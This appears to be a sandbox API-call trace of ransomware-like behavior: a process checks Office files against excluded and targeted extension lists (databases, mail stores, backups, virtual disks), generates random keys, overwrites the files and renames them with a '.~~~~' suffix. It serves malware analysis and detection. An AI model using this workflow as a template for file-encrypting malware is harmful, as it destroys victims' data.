	[0135.839] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.839] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.839] CloseHandle (hObject=0x140) returned 1
	[0135.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0135.839] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf.~~~~")) returned 1
	[0135.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8858 | out: hHeap=0x300000) returned 1
	[0135.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0135.842] GetLastError () returned 0x0
	[0135.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".scr") returned 0x0
	[0135.842] lstrlenW (lpString=".cmd") returned 4
	[0135.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".cmd") returned 0x0
	[0135.842] lstrlenW (lpString=".dll") returned 4
	[0135.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".dll") returned 0x0
	[0135.842] lstrlenW (lpString=".bat") returned 4
	[0135.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".bat") returned 0x0
	[0135.842] lstrlenW (lpString=".cpl") returned 4
	[0135.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".cpl") returned 0x0
	[0135.842] lstrlenW (lpString=".sys") returned 4
	[0135.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".sys") returned 0x0
	[0135.843] lstrlenW (lpString=".msc") returned 4
	[0135.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".msc") returned 0x0
	[0135.843] lstrlenW (lpString=".com") returned 4
	[0135.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".com") returned 0x0
	[0135.843] lstrlenW (lpString=".lnk") returned 4
	[0135.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".lnk") returned 0x0
	[0135.843] lstrlenW (lpString=".msp") returned 4
	[0135.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".msp") returned 0x0
	[0135.843] lstrlenW (lpString=".pif") returned 4
	[0135.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".pif") returned 0x0
	[0135.843] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0135.846] lstrlenW (lpString=".sqb") returned 4
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".sqb") returned 0x0
	[0135.846] lstrlenW (lpString=".ost") returned 4
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".ost") returned 0x0
	[0135.846] lstrlenW (lpString=".txt") returned 4
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".txt") returned 0x0
	[0135.846] lstrlenW (lpString=".mdt") returned 4
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".mdt") returned 0x0
	[0135.846] lstrlenW (lpString=".BDB") returned 4
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".BDB") returned 0x0
	[0135.846] lstrlenW (lpString=".eql") returned 4
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".eql") returned 0x0
	[0135.846] lstrlenW (lpString=".DBF") returned 4
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".DBF") returned 0x0
	[0135.846] lstrlenW (lpString=".EQL") returned 4
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".EQL") returned 0x0
	[0135.846] lstrlenW (lpString=".FDB") returned 4
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".FDB") returned 0x0
	[0135.846] lstrlenW (lpString=".EDB") returned 4
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".EDB") returned 0x0
	[0135.846] lstrlenW (lpString=".DACPAC") returned 7
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".DACPAC") returned 0x0
	[0135.846] lstrlenW (lpString=".VHD") returned 4
	[0135.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".VHD") returned 0x0
	[0135.846] lstrlenW (lpString=".DBV") returned 4
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".DBV") returned 0x0
	[0135.847] lstrlenW (lpString=".dacpac") returned 7
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".dacpac") returned 0x0
	[0135.847] lstrlenW (lpString=".sdf") returned 4
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".sdf") returned 0x0
	[0135.847] lstrlenW (lpString=".accdb") returned 6
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".accdb") returned 0x0
	[0135.847] lstrlenW (lpString=".DBX") returned 4
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".DBX") returned 0x0
	[0135.847] lstrlenW (lpString=".MDT") returned 4
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".MDT") returned 0x0
	[0135.847] lstrlenW (lpString=".SQB") returned 4
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".SQB") returned 0x0
	[0135.847] lstrlenW (lpString=".vhd") returned 4
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".vhd") returned 0x0
	[0135.847] lstrlenW (lpString=".bac") returned 4
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".bac") returned 0x0
	[0135.847] lstrlenW (lpString=".mdf") returned 4
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".mdf") returned 0x0
	[0135.847] lstrlenW (lpString=".BAK") returned 4
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".BAK") returned 0x0
	[0135.847] lstrlenW (lpString=".BAC") returned 4
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".BAC") returned 0x0
	[0135.847] lstrlenW (lpString=".dbs") returned 4
	[0135.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".dbs") returned 0x0
	[0135.847] lstrlenW (lpString=".vhdx") returned 5
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".vhdx") returned 0x0
	[0135.848] lstrlenW (lpString=".NDF") returned 4
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".NDF") returned 0x0
	[0135.848] lstrlenW (lpString=".dat") returned 4
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".dat") returned 0x0
	[0135.848] lstrlenW (lpString=".DBS") returned 4
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".DBS") returned 0x0
	[0135.848] lstrlenW (lpString=".CKP") returned 4
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".CKP") returned 0x0
	[0135.848] lstrlenW (lpString=".edb") returned 4
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".edb") returned 0x0
	[0135.848] lstrlenW (lpString=".PST") returned 4
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".PST") returned 0x0
	[0135.848] lstrlenW (lpString=".dbf") returned 4
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".dbf") returned 0x0
	[0135.848] lstrlenW (lpString=".SQL") returned 4
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".SQL") returned 0x0
	[0135.848] lstrlenW (lpString=".pst") returned 4
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".pst") returned 0x0
	[0135.848] lstrlenW (lpString=".dbv") returned 4
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".dbv") returned 0x0
	[0135.848] lstrlenW (lpString=".SDF") returned 4
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".SDF") returned 0x0
	[0135.848] lstrlenW (lpString=".dtxs") returned 5
	[0135.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".dtxs") returned 0x0
	[0135.849] lstrlenW (lpString=".db3") returned 4
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".db3") returned 0x0
	[0135.849] lstrlenW (lpString=".OST") returned 4
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".OST") returned 0x0
	[0135.849] lstrlenW (lpString=".dbx") returned 4
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".dbx") returned 0x0
	[0135.849] lstrlenW (lpString=".DB3") returned 4
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".DB3") returned 0x0
	[0135.849] lstrlenW (lpString=".DAT") returned 4
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".DAT") returned 0x0
	[0135.849] lstrlenW (lpString=".VHDX") returned 5
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".VHDX") returned 0x0
	[0135.849] lstrlenW (lpString=".ndf") returned 4
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".ndf") returned 0x0
	[0135.849] lstrlenW (lpString=".DB") returned 3
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".DB") returned 0x0
	[0135.849] lstrlenW (lpString=".sql") returned 4
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".sql") returned 0x0
	[0135.849] lstrlenW (lpString=".MYD") returned 4
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".MYD") returned 0x0
	[0135.849] lstrlenW (lpString=".DBT") returned 4
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".DBT") returned 0x0
	[0135.849] lstrlenW (lpString=".ACCDB") returned 6
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".ACCDB") returned 0x0
	[0135.849] lstrlenW (lpString=".fdb") returned 4
	[0135.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".fdb") returned 0x0
	[0135.850] lstrlenW (lpString=".bak") returned 4
	[0135.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".bak") returned 0x0
	[0135.850] lstrlenW (lpString=".myd") returned 4
	[0135.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".myd") returned 0x0
	[0135.850] lstrlenW (lpString=".DTXS") returned 5
	[0135.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".DTXS") returned 0x0
	[0135.850] lstrlenW (lpString=".ckp") returned 4
	[0135.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".ckp") returned 0x0
	[0135.850] lstrlenW (lpString=".dbt") returned 4
	[0135.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".dbt") returned 0x0
	[0135.850] lstrlenW (lpString=".db") returned 3
	[0135.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".db") returned 0x0
	[0135.850] lstrlenW (lpString=".TXT") returned 4
	[0135.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".TXT") returned 0x0
	[0135.850] lstrlenW (lpString=".MDF") returned 4
	[0135.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".MDF") returned 0x0
	[0135.850] lstrlenW (lpString=".bdb") returned 4
	[0135.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".bdb") returned 0x0
	[0135.850] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0135.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.851] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0620) returned 1
	[0135.852] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.852] CryptReleaseContext (hProv=0x3a0620, dwFlags=0x0) returned 1
	[0135.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0135.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0135.852] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25584211848) returned 1
	[0135.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xba69a5f0, dwHighDateTime=0x1d60e1e)) 
	[0135.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0135.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0135.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0135.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4708
	[0135.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4708 | out: hHeap=0x300000) returned 1
	[0135.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5080
	[0135.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.853] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0136.259] GetLastError () returned 0x0
	[0136.259] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0136.259] GetLastError () returned 0x0
	[0136.264] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.264] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0136.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0136.266] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.266] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.268] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.268] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.268] CloseHandle (hObject=0x140) returned 1
	[0136.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5080
	[0136.268] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.~~~~")) returned 1
	[0136.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5080 | out: hHeap=0x300000) returned 1
	[0136.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0136.271] GetLastError () returned 0x0
	[0136.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".scr") returned 0x0
	[0136.271] lstrlenW (lpString=".cmd") returned 4
	[0136.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".cmd") returned 0x0
	[0136.272] lstrlenW (lpString=".dll") returned 4
	[0136.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".dll") returned 0x0
	[0136.272] lstrlenW (lpString=".bat") returned 4
	[0136.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".bat") returned 0x0
	[0136.272] lstrlenW (lpString=".cpl") returned 4
	[0136.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".cpl") returned 0x0
	[0136.272] lstrlenW (lpString=".sys") returned 4
	[0136.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".sys") returned 0x0
	[0136.272] lstrlenW (lpString=".msc") returned 4
	[0136.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".msc") returned 0x0
	[0136.272] lstrlenW (lpString=".com") returned 4
	[0136.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".com") returned 0x0
	[0136.272] lstrlenW (lpString=".lnk") returned 4
	[0136.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".lnk") returned 0x0
	[0136.272] lstrlenW (lpString=".msp") returned 4
	[0136.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".msp") returned 0x0
	[0136.272] lstrlenW (lpString=".pif") returned 4
	[0136.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".pif") returned 0x0
	[0136.272] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch="msp\r\n.pif") returned 0x0
	[0136.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0136.274] lstrlenW (lpString=".sqb") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".sqb") returned 0x0
	[0136.275] lstrlenW (lpString=".ost") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".ost") returned 0x0
	[0136.275] lstrlenW (lpString=".txt") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".txt") returned 0x0
	[0136.275] lstrlenW (lpString=".mdt") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".mdt") returned 0x0
	[0136.275] lstrlenW (lpString=".BDB") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".BDB") returned 0x0
	[0136.275] lstrlenW (lpString=".eql") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".eql") returned 0x0
	[0136.275] lstrlenW (lpString=".DBF") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".DBF") returned 0x0
	[0136.275] lstrlenW (lpString=".EQL") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".EQL") returned 0x0
